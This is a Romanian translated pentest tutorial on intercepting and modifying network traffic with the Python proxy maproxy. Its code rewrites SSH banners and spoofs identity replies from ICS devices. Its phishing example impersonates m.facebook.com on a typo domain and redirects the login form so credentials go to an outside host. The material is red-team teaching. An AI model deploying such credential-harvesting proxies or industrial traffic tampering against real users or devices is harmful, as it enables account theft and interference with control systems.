Procesarea datelor de rețea în timp real

Articolul este tradus în cadrul pregătirii pentru lansarea cursului „Pentest. Practica testării penetrării”.

Procesarea datelor de rețea în timp real

Rezumat

Diverse tipuri de evaluare a securității, începând cu testarea regulată a penetrării și operațiunile Red Team până la hackingul dispozitivelor IoT/ICS și SCADA, implică lucrul cu protocoalele binare de rețea, adică, în esență, interceptarea și modificarea datelor de rețea între client și obiectiv. Sniffingul traficului de rețea nu este o sarcină complicată, deoarece avem instrumente precum Wireshark, Tcpdump sau Scapy, însă modificarea se dovedește a fi o sarcină mai laborioasă, deoarece va trebui să avem un fel de interfață pentru citirea datelor rețelei, filtrarea acestora, modificarea în timp real și trimiterea înapoi la gazda țintă aproape în timp real. În plus, ar fi ideal ca un astfel de instrument să poată funcționa automat cu mai multe conexiuni paralele și să aibă opțiuni de personalizare prin scripturi.

Odată, am descoperit un instrument numit maproxy, documentația mi-a arătat rapid că maproxy – este exact ceea ce am nevoie. Este un proxy TCP destul de simplu, versatil și ușor de configurat. Am testat acest instrument pe câteva aplicații destul de complexe, inclusiv dispozitive ICS (care generează multe pachete), pentru a vedea dacă poate lucra cu multe conexiuni paralele, iar instrumentul s-a comportat bine.

Acest articol vă va familiariza cu procesarea datelor de rețea în timp real cu ajutorul maproxy.

Prezentare generală

Instrument maproxy bazat pe Tornado – un cadru de rețea popular și dezvoltat pentru programarea asincronă în Python.

În general, acesta poate funcționa în mai multe moduri:

  • TCP:TCP – conexiuni TCP necriptate;
  • TCP:SSL și SSL:TCP – cu criptoză unidirecțională;
  • SSL:SSL – criptare bidirecțională.

Este livrat sub formă de bibliotecă. Pentru a începe rapid, puteți utiliza fișierele de exemplu care reflectă funcțiile de bază ale bibliotecii:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Caz 1 – proxy bidirecțional simplu

Bazat pe tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Implicit ProxyServer() primește două argumente – locația de conectare și portul țintă. server.listen() primește un singur argument – portul pentru a asculta conexiunea de intrare.

Executarea scriptului:

# python tcp2tcp.py

Pentru a efectua un test, ne vom conecta la un server SSH local prin intermediul scriptului nostru proxy, care ascultă pe 2222/tcp port și se conectează la portul standard 22/tcp Servere SSH:

Procesarea datelor de rețea în timp real

Banner-ul de bun venit indică faptul că exemplul nostru de script a proxied cu succes traficul de rețea.

Caz 2 – modificarea datelor

Un alt script demo logging_proxy.py ideal pentru interacțiunea cu datele de rețea. Comentariile din fișier descriu metodele clasei, pe care le puteți modifica pentru a atinge scopul dorit:

Procesarea datelor de rețea în timp real

Cel mai interesant aici:

  • on_c2p_done_read – pentru interceptarea datelor de la client la server;
  • on_p2s_done_read – în direcția opusă.

Să încercăm să modificăm banner-ul SSH, pe care serverul îl returnează clientului:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Rulați scriptul:

Procesarea datelor de rețea în timp real

După cum vedeți, clientul a fost indus în eroare, deoarece pentru el numele serverului SSH a fost înlocuit cu „DumnySSH”.

Procesarea datelor de rețea în timp real

Caz 3 – o pagină web simplă de phishing

Există o multitudine de utilizări pentru acest instrument. De data aceasta, haideți să ne concentrăm pe ceva mai practic din domeniul operațiunilor Red Team. Să imităm landingul m.facebook.com și să folosim un domeniu personalizat cu o greșeală intenționată, de exemplu, m.facebok.com. În scopul demonstrației, să presupunem că domeniul este înregistrat de noi.

Ne propunem să stabilim o conexiune de rețea nesecurizată cu proxy-ul victimei noastre și un SSL Stream pentru serverul Facebook (31.13.81.36). Pentru ca acest exemplu să funcționeze, trebuie să înlocuim headerul HTTP Host și să implementăm numele corect al hostului, iar de asemenea, vom dezactiva compresia răspunsurilor, pentru a avea acces simplu la conținutul lor. În cele din urmă, vom înlocui formularul HTML pentru ca datele de autentificare să ne fie trimise, în locul serverelor Facebook:

[…]
def on_c2p_done_read(self,data):
 # înlocuirea headerului Host
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# dezactivarea compresiei
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
 # înlocuirea parțială a răspunsului
     data = data.replace("action="/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

În concluzie:

Procesarea datelor de rețea în timp real

După cum vedeți, am reușit să înlocuim cu succes site-ul original.

Caz 4 – Portăm Ethernet/IP

Am avut de-a face cu dispozitive și software industriale (ICS / SCADA) timp de ceva vreme, cum ar fi controlerele programabile (PLC), modulele de intrare/ieșire, servo-motoarele, releele, mediile de programare în trepte și multe altele. Acest caz este pentru cei care apreciază lucrurile industriale. Hackingul unor astfel de soluții implică interacțiune activă cu protocoalele de rețea. În exemplul următor, aș dori să arăt cum puteți modifica traficul de rețea ICS/SCADA.

Pentru aceasta aveți nevoie de următoarele:

  • Un sniffing de rețea, cum ar fi Wireshark;
  • Un dispozitiv Ethernet/IP sau pur și simplu un dispozitiv SIP, pe care îl puteți găsi folosind serviciul Shodan;
  • Scriptul nostru se bazează pe maproxy.

Pentru început, să ne uităm la cum arată un răspuns tipic de identificare din CIP (Common Industrial Protocol):

Procesarea datelor de rețea în timp real

Identificarea dispozitivului se face prin intermediul protocolului Ethernet/IP, care este o extensie a protocolului Ethernet pentru scopuri industriale, învăluind protocoale de control, cum ar fi CIP. Vom modifica numele de identificare dedicat, care este vizibil în captura de ecran. „NI-IndComm for Ethernet” folosind scriptul nostru proxy. Am putea reutiliza scriptul logging_proxy.py și modifica în mod similar metoda clasei on_p2s_done_read, deoarece dorim ca pe client să fie vizibil un alt nume de identificare.

Cod:

[…]
 def on_p2s_done_read(self,data):
 # înlocuire parțială a răspunsului

 # Verificând dacă am primit răspunsul mesajului List Identity
     if data[26:28] == b'x0cx00':
         print('Am primit răspuns, înlocuind')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…] 
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Practic, am solicitat identificarea dispozitivului de două ori, al doilea răspuns fiind originalul, iar primul fiind modificat în timp real.

Și ultimul

După părerea mea, maproxy este un instrument convenabil și simplu, care, în plus, este scris în Python, așa că cred că și voi puteți beneficia de utilizarea sa. Desigur, există și instrumente mai complexe pentru prelucrarea și modificarea datelor de rețea, dar acestea necesită mai multă atenție și sunt create de obicei pentru scenarii de utilizare specifice, cum ar fi, Muraena, Modlishka sau evilginx pentru cazuri asemănătoare cu al treilea sau canape pentru ultimul caz. Așa sau altfel, cu ajutorul maproxy veți putea implementa rapid ideile voastre pentru interceptarea datelor de rețea, deoarece exemplele de scripturi sunt foarte ilustrative.

Testarea mecanismelor de autentificare în Windows AD

Sursa: habr.com

Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS 🔥 Cumpără un hosting fiabil pentru site-uri cu protecție DDoS, servere VPS VDS | ProHoster